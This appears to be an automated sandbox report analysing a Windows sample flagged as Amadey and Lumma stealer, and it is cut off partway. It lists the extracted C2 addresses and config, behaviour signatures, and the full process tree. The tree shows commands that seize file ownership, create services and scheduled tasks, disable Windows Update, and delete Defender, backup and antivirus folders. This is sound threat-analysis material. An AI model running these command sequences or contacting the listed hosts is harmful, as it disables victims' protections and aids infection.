Overview

overview

10

Static

static

3

jaffacakes...7f.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    113s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    11/09/2026, 22:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    jaffacakes118_1740e484673d7d9ff3caad3310e2c451f7662cf710164b92a1912e952d9e457f.exe
  • Size 4.2MB
  • Sample260911-1ynexseh63
  • SHA256 1740e484673d7d9ff3caad3310e2c451f7662cf710164b92a1912e952d9e457f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
fbf543defense_evasiondiscoveryexecutionamadeylummapersistencestealertrojan

Malware Config

Extracted

Family

  • amadey

Version

  • 5.55

Botnet

  • fbf543

C2

  • http://94.154.35.25

Attributes
  • install_dir

    96a319e745

  • install_file

    Srxelqcif.exe

  • strings_key

    f8bfac017914b836f3106c5bcd0878fe

  • url_paths

    /di9ku38f/index.php

rc4.plain

Extracted

Family

  • lumma

C2

  • https://vaganetka.ru/opza

  • https://mastwin.in/qsaz

  • https://ordinarniyvrach.ru/xiur

  • https://yamakrug.ru/lzka

  • https://vishneviyjazz.ru/neco

  • https://yrokistorii.ru/uqya

  • https://stolewnica.ru/xjuf

  • https://visokiywkaf.ru/mmtn

  • https://kletkamozga.ru/iwyq

Attributes
  • build_id

    baa2cd2c69b32a2fa400e2890b276f564db37512

Signatures

  • Family: Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Detects Amadey x86-bit Payload 2 IoCs
  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • NirSoft NirCmd 1 IoCs

    NirCmd is a lightweight Windows command-line tool for automating system tasks

  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 49 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 7 IoCs
  • Modifies file permissions 1 TTPs 9 IoCs
    discovery
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 17 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 26 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Program crash 29 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious behavior: LoadsDriver 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_1740e484673d7d9ff3caad3310e2c451f7662cf710164b92a1912e952d9e457f.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_1740e484673d7d9ff3caad3310e2c451f7662cf710164b92a1912e952d9e457f.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1972
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Z48u1.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Z48u1.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • Suspicious use of WriteProcessMemory
      PID:3248
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3728
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:4392
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5064
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:5044
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3776
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:2564
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1116
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1556
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4372
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
          4⤵
          • Modifies file permissions
          PID:1216
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4324
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
          4⤵
          • Modifies file permissions
          PID:1632
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Z48u1.exe" -StartupType Automatic"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4364
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Z48u1.exe" -StartupType Automatic"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3464
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c net start "DownloaderService"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2140
        • C:\Windows\SysWOW64\net.exe
          net start "DownloaderService"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2068
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 start "DownloaderService"
            5⤵
              PID:3804
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
          3⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3716
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4204
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c start "" "C:\Windows\winloghelper.exe"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2112
          • C:\Windows\winloghelper.exe
            "C:\Windows\winloghelper.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4744
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c start "" "C:\Windows\systemhelper.exe"
          3⤵
          • Executes a command shell one-liner
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2556
          • C:\Windows\systemhelper.exe
            "C:\Windows\systemhelper.exe"
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3356
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\PXSRrAK.bat" "
              5⤵
              • Executes a command shell one-liner
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4912
              • C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
                nircmd win min process "cmd.exe"
                6⤵
                • Executes dropped EXE
                PID:4296
              • C:\Windows\SysWOW64\chcp.com
                chcp 65001
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2896
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKU\S-1-5-19"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4388
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
                6⤵
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                PID:3688
              • C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
                NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\PXSRrAK.bat" any_word
                6⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2428
              • C:\Windows\SysWOW64\mode.com
                Mode 79,49
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2052
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ver
                6⤵
                • Executes a command shell one-liner
                • System Location Discovery: System Language Discovery
                PID:2000
              • C:\Windows\SysWOW64\reg.exe
                reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
                6⤵
                  PID:5104
                • C:\Windows\SysWOW64\find.exe
                  find /i "0x0"
                  6⤵
                    PID:4396
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c tasklist
                    6⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:716
                    • C:\Windows\SysWOW64\tasklist.exe
                      tasklist
                      7⤵
                      • Discovers running processes
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4640
                  • C:\Windows\SysWOW64\reg.exe
                    reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                    6⤵
                      PID:3472
                    • C:\Windows\SysWOW64\reg.exe
                      reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:1552
                    • C:\Windows\SysWOW64\reg.exe
                      reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:2592
                    • C:\Windows\SysWOW64\reg.exe
                      reg query "HKLM\System\CurrentControlSet\Services\Sense"
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:4552
                    • C:\Windows\SysWOW64\reg.exe
                      reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                      6⤵
                      • System Location Discovery: System Language Discovery
                      PID:1280
                    • C:\Windows\SysWOW64\reg.exe
                      reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                      6⤵
                        PID:4656
                      • C:\Windows\SysWOW64\reg.exe
                        reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                        6⤵
                        • System Location Discovery: System Language Discovery
                        PID:2028
                      • C:\Windows\SysWOW64\reg.exe
                        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                        6⤵
                        • System Location Discovery: System Language Discovery
                        PID:1632
                      • C:\Windows\SysWOW64\reg.exe
                        reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                        6⤵
                          PID:4316
                        • C:\Windows\SysWOW64\reg.exe
                          reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                          6⤵
                            PID:3940
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:4920
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:4184
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                            6⤵
                            • System Location Discovery: System Language Discovery
                            PID:2668
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                            6⤵
                              PID:2908
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:756
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:1848
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /S /D /c" ver "
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:2204
                            • C:\Windows\SysWOW64\findstr.exe
                              findstr /c:"6.1.7601"
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:4688
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:4352
                            • C:\Windows\SysWOW64\find.exe
                              find /i "Windows 7"
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:4776
                            • C:\Windows\SysWOW64\reg.exe
                              reg query HKLM\System\CurrentControlset\Services\WdFilter
                              6⤵
                              • Modifies registry key
                              PID:4588
                            • C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
                              7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe"
                              6⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1448
                            • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                              game.exe /CurrentDiskSize
                              6⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              PID:640
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                7⤵
                                • Executes a command shell one-liner
                                PID:2660
                                • C:\Windows\system32\sc.exe
                                  sc query IObitUnlocker
                                  8⤵
                                  • Launches sc.exe
                                  PID:700
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "640"
                                7⤵
                                • Executes a command shell one-liner
                                PID:4964
                                • C:\Windows\system32\taskkill.exe
                                  taskkill /f /pid "640"
                                  8⤵
                                  • Kills process with taskkill
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:392
                            • C:\Windows\SysWOW64\sc.exe
                              sc stop wuauserv
                              6⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:3328
                            • C:\Windows\SysWOW64\sc.exe
                              sc config wuauserv start= disabled
                              6⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:1096
                            • C:\Windows\SysWOW64\sc.exe
                              sc stop dosvc
                              6⤵
                              • Launches sc.exe
                              PID:1008
                            • C:\Windows\SysWOW64\sc.exe
                              sc config dosvc start= disabled
                              6⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:4560
                            • C:\Windows\SysWOW64\sc.exe
                              sc stop bits
                              6⤵
                              • Launches sc.exe
                              PID:3828
                            • C:\Windows\SysWOW64\sc.exe
                              sc config bits start= disabled
                              6⤵
                              • Launches sc.exe
                              PID:3116
                            • C:\Windows\SysWOW64\sc.exe
                              sc stop UsoSvc
                              6⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:4616
                            • C:\Windows\SysWOW64\sc.exe
                              sc config UsoSvc start= disabled
                              6⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:4276
                            • C:\Windows\SysWOW64\sc.exe
                              sc stop WaaSMedicSvc
                              6⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:728
                            • C:\Windows\SysWOW64\sc.exe
                              sc config WaaSMedicSvc start= disabled
                              6⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:2644
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:4472
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
                              6⤵
                                PID:3772
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
                                6⤵
                                • System Location Discovery: System Language Discovery
                                PID:1924
                              • C:\Windows\SysWOW64\reg.exe
                                reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
                                6⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3908
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                                6⤵
                                • System Location Discovery: System Language Discovery
                                PID:4464
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                                6⤵
                                  PID:4944
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1188
                                • C:\Windows\SysWOW64\reg.exe
                                  reg unload HKLM\TEMP_SYSTEM
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1932
                                • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                  game /delwd
                                  6⤵
                                  • Sets service image path in registry
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3080
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                    7⤵
                                    • Executes a command shell one-liner
                                    PID:4048
                                    • C:\Windows\system32\sc.exe
                                      sc query IObitUnlocker
                                      8⤵
                                      • Launches sc.exe
                                      PID:4228
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                    7⤵
                                    • Executes a command shell one-liner
                                    PID:2220
                                    • C:\Windows\system32\sc.exe
                                      sc stop IObitUnlocker
                                      8⤵
                                      • Launches sc.exe
                                      PID:2244
                                    • C:\Windows\system32\sc.exe
                                      sc delete IObitUnlocker
                                      8⤵
                                      • Launches sc.exe
                                      PID:2440
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3080"
                                    7⤵
                                    • Executes a command shell one-liner
                                    PID:4732
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /f /pid "3080"
                                      8⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:396
                                • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                  game /DelWD
                                  6⤵
                                  • Sets service image path in registry
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4392
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                    7⤵
                                    • Executes a command shell one-liner
                                    PID:760
                                    • C:\Windows\system32\sc.exe
                                      sc query IObitUnlocker
                                      8⤵
                                      • Launches sc.exe
                                      PID:3872
                                  • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                    C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program 